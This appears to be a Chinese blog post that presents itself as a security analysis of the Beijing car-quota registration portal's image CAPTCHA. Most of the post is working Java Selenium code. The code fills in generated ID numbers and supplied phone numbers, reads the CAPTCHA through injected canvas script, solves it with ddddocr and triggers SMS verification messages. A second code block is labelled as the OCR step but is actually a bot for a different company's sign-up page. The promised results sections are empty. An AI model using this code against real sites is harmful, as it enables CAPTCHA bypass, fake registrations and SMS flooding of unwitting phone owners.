前言
由于網站注冊入口容易被黑客攻擊,存在如下安全問題:
- 暴力破解密碼,造成用戶信息泄露
- 短信盜刷的安全問題,影響業務及導致用戶投訴
- 帶來經濟損失,尤其是后付費客戶,風險巨大,造成虧損無底洞
所以大部分網站及App 都采取圖形驗證碼或滑動驗證碼等交互解決方案, 但在機器學習能力提高的當下,連百度這樣的大廠都遭受攻擊導致點名批評, 圖形驗證及交互驗證方式的安全性到底如何? 請看具體分析
一、 北京市小客車調控PC 注冊入口
簡介:北京市小客車指標調控管理信息系統于2011年1月1日正式啟動,市民登錄專網可以24小時提出申請。記者從北京市交通委獲悉,前十分鐘內,就有超過6000名市民獲得有效申請編碼。雖然跟6000余人同一時間段報名,但網上填報過程比較順暢,填寫的內容不足20項,10分鐘可以完成。
二丶 安全分析:
采用傳統的圖形驗證碼方式,具體為4個數字英文,ocr 識別率在 95% 以上。
?
測試方法:
采用模擬器+OCR識別
1. 模擬器交互
private OcrClientDddd ddddOcr = new OcrClientDddd();private IdCardGenerator g = new IdCardGenerator();private String INDEX_URL = "https://apply.jtw.beijing.gov.cn/apply/app/common/person/register";@Overridepublic RetEntity send(WebDriver driver, String areaCode, String phone) {RetEntity retEntity = new RetEntity();try {driver.get(INDEX_URL);Thread.sleep(1 * 1000);WebElement selectorElement = driver.findElement(By.id("idType"));Select select = new Select(selectorElement);select.selectByValue("JMSFZ");WebElement idElement = driver.findElement(By.id("idCode_new"));idElement.sendKeys(g.generate());// 3 輸入手機號WebElement phoneElement = ChromeDriverManager.waitElement(driver, By.id("mobile_new"), 1);phoneElement.sendKeys(phone);Thread.sleep(1 * 1000);String url, imgCode = null;WebElement imgElement;byte[] imgByte = null;for (int i = 0; i < 6; i++) {// 4 獲取圖形驗證碼imgElement = driver.findElement(By.xpath("//img[contains(@src,'/apply/app/common/validCodeImage')]"));url = imgElement.getAttribute("src");imgByte = GetImage.callJsByUrl(driver, url);int len = (imgByte != null) ? imgByte.length : 0;imgCode = (len > 500) ? ddddOcr.getImgCode(imgByte) : null;if (imgCode == null || imgCode.length() < 4) {((JavascriptExecutor) driver).executeScript("arguments[0].click();", imgElement);Thread.sleep(1000);continue;}break;}retEntity.setMsg("[imgCode=" + imgCode + "]");if (imgCode == null || imgCode.length() < 4) {return retEntity;}// 5 輸入識別出來的圖形驗證碼driver.findElement(By.id("validCode")).sendKeys(imgCode);Thread.sleep(500);// 6 點擊獲取驗證碼Thread.sleep(500);WebElement getCodeElement = driver.findElement(By.id("getRandomCode"));getCodeElement.click();WebElement msgElement = ChromeDriverManager.waitElement(driver, By.id("alert-success"), 20);// 短信驗證碼已發送,請在十五分鐘內輸入String msg = (msgElement != null) ? msgElement.getText() : null;if (msg == null) {WebElement validElement = driver.findElement(By.id("getValidCode"));String dataContent = validElement.getAttribute("data-content");if (dataContent != null) {retEntity.setMsg(dataContent + " imgCode:" + imgCode);}return retEntity;}retEntity.setMsg(msg);if (msg.contains("短信驗證碼已發送")) {retEntity.setRet(0);}return retEntity;} catch (Exception e) {System.out.println("phone=" + phone + ",e=" + e.toString());for (StackTraceElement ele : e.getStackTrace()) {System.out.println(ele.toString());}return null;} finally {driver.manage().deleteAllCookies();}}
2. 獲取圖形驗證碼
public static byte[] callJsById(WebDriver driver, String id) {return callJsById(driver, id, null);}public static byte[] callJsById(WebDriver driver, String id, StringBuffer base64) {String js = "let c = document.createElement('canvas');let ctx = c.getContext('2d');";js += "let img = document.getElementById('" + id + "'); /*找到圖片*/ ";js += "c.height=img.naturalHeight;c.width=img.naturalWidth;";js += "ctx.drawImage(img, 0, 0,img.naturalWidth, img.naturalHeight);";js += "let base64String = c.toDataURL();return base64String;";String src = ((JavascriptExecutor) driver).executeScript(js).toString();String base64Str = src.substring(src.indexOf(",") + 1);if (base64 != null) {base64.append(base64Str);}byte[] vBytes = (base64Str != null) ? imgStrToByte(base64Str) : null;return vBytes;}
3.圖形驗證碼識別(Ddddocr)
private static String INDEX_URL = "https://console.faceplusplus.com.cn/register";@Overridepublic RetEntity send(WebDriver driver, String areaCode, String phone) {RetEntity retEntity = new RetEntity();try {driver.get(INDEX_URL);Thread.sleep(1 * 1000);// 1 輸入手機號WebElement phoneElemet = driver.findElement(By.id("phone"));phoneElemet.sendKeys(phone);// 點擊發送驗證碼按鈕Thread.sleep(500);WebElement sendElemet = driver.findElement(By.xpath("//button/span[contains(text(),'發送驗證碼')]"));sendElemet.click();// 2 獲取圖形驗證碼WebElement imgElement, errElement, inputElement;String imgCode = null;byte[] imgByte = null;Thread.sleep(1 * 1000);for (int i = 0; i < 1; i++) {imgElement = driver.findElement(By.xpath("//img[contains(@src,'/api/official/captcha/get')]"));String imgUrl = imgElement.getAttribute("src");imgByte = GetImage.callJsByUrl(driver, imgUrl);int len = (imgByte != null) ? imgByte.length : 0;imgCode = (len > 0) ? ddddOcr.getImgCode(imgByte) : null;if (imgCode == null) {continue;}// 3 輸入識別出來的圖形驗證碼inputElement = driver.findElement(By.id("code"));inputElement.sendKeys(imgCode);ddddOcr.saveFile(this.getClass().getSimpleName(), imgCode, imgByte);// 4 確 認Thread.sleep(1 * 1000);// 點擊智能按鈕boolean isRobot = false;int beginX = 1540;int beginY = 879;if (isRobot)RobotMove.click(beginX, beginY);else {WebElement confirmElement = driver.findElement(By.xpath("//div[@class='ant-modal-footer']/button/span"));confirmElement.click();}}Thread.sleep(10 * 1000);WebElement msgElement = ChromeDriverManager.waitElement(driver, By.xpath("//button/span[contains(text(),'s')]"), 20);String gtInfo = (msgElement != null && msgElement.isDisplayed()) ? msgElement.getText() : null;retEntity.setMsg(imgCode + "->" + gtInfo);if (gtInfo != null && gtInfo.contains("秒")) {retEntity.setRet(0);return retEntity;}return retEntity;} catch (Exception e) {System.out.println("phone=" + phone + ",e=" + e.toString());for (StackTraceElement ele : e.getStackTrace()) {System.out.println(ele.toString());}return null;} finally {driver.manage().deleteAllCookies();}}
4. 圖形OCR識別結果:
5. 測試返回結果:
三 丶測試報告 :
四丶結語
北京市小客車指標調控管理信息系統于2011年1月1日正式啟動,市民登錄專網可以24小時提出申請
。北京市交通委作為中國首都交通管理機構,擁有雄厚的資源, 技術實力也應該不錯,但采用的還是老一代的圖形驗證碼已經落伍了, 用戶體驗一般,容易被破解, 一旦被國際黑客發起攻擊,將會對老百姓形成騷擾,影響聲譽。
很多人在短信服務剛開始建設的階段,可能不會在安全方面考慮太多,理由有很多。
比如:“ 需求這么趕,當然是先實現功能啊 ”,“ 業務量很小啦,系統就這么點人用,不怕的 ” , “ 我們怎么會被盯上呢,不可能的 ”等等。有一些理由雖然有道理,但是該來的總是會來的。前期欠下來的債,總是要還的。越早還,問題就越小,損失就越低。
所以大家在安全方面還是要重視。(血淋淋的栗子!)#安全短信#
戳這里→康康你手機號在過多少網站注冊過!!!
谷歌圖形驗證碼在AI 面前已經形同虛設,所以谷歌宣布退出驗證碼服務, 那么當所有的圖形驗證碼都被破解時,大家又該如何做好防御呢?
>>相關閱讀
《騰訊防水墻滑動拼圖驗證碼》
《百度旋轉圖片驗證碼》
《網易易盾滑動拼圖驗證碼》
《頂象區域面積點選驗證碼》
《頂象滑動拼圖驗證碼》
《極驗滑動拼圖驗證碼》
《使用深度學習來破解 captcha 驗證碼》
《驗證碼終結者-基于CNN+BLSTM+CTC的訓練部署套件》